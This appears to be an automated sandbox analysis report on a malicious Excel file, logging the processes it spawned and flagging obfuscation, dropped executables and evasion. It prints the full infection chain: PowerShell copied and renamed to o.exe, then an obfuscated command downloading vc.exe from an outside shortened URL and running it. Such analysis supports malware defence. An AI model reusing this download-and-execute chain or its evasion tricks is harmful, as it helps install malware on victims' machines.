Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vc.exe C:\Users\user\AppData\Roaming\vc.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd.exe /c robocopy %windir%\system32\WindowsPowerShell\v1.0\ %temp% powershell.exe /mt /z & exit			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c timeout /t 1 & cd %temp% & ren powershell.exe o.exe & exit			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 cd $env:temp; Start-Sleep 3; (get-item o.exe).Attributes += 'Hidden'			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Robocopy.exe robocopy C:\Windows\system32\WindowsPowerShell\v1.0\ C:\Users\user\AppData\Local\Temp powershell.exe /mt /z			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 1			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process created: C:\Users\user\AppData\Roaming\vc.exe C:\Users\user\AppData\Roaming\vc.exe			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\AppData\Local\Temp\o.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\InProcServer32			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\InProcServer32			Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder	Window detected: More than 3 window changes detected
Source: Window Recorder	Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Users\user\AppData\Local\Temp\o.exe	File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll			Jump to behavior

Checks if Microsoft Office is installed

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems			Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll			Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: powershell.pdb source: o.exe
Source:	Binary string: mscorrc.pdb source: o.exe, 00000010.00000002.2139683736.000000001B240000.00000002.00000001.sdmp
Source:	Binary string: powershell.pdb source: o.exe
Source:	Binary string: mscorrc.pdb source: o.exe, 00000010.00000002.2139683736.000000001B240000.00000002.00000001.sdmp

Data Obfuscation:

Obfuscated command line found

Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\AppData\Roaming\vc.exe	Code function: 20_2_00FF07D8 push es; ret		20_2_00FF0C96
Source: C:\Users\user\AppData\Roaming\vc.exe	Code function: 20_2_00FF07D8 push es; ret		20_2_00FF0C96

Binary may include packed or encrypted code

Source: initial sample	Static PE information: section name: .text entropy: 7.71178527327
Source: initial sample	Static PE information: section name: .text entropy: 7.71178527327

Persistence and Installation Behavior:

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\o.exe	File created: C:\Users\user\Documents\vc.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\o.exe	File created: C:\Users\user\Documents\vc.exe			Jump to dropped file

Drops PE files

Source: C:\Users\user\AppData\Local\Temp\o.exe	File created: C:\Users\user\Documents\vc.exe			Jump to dropped file
Source: C:\Windows\System32\Robocopy.exe	File created: C:\Users\user\AppData\Local\Temp\powershell.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\o.exe	File created: C:\Users\user\Documents\vc.exe			Jump to dropped file
Source: C:\Windows\System32\Robocopy.exe	File created: C:\Users\user\AppData\Local\Temp\powershell.exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Users\user\AppData\Local\Temp\o.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
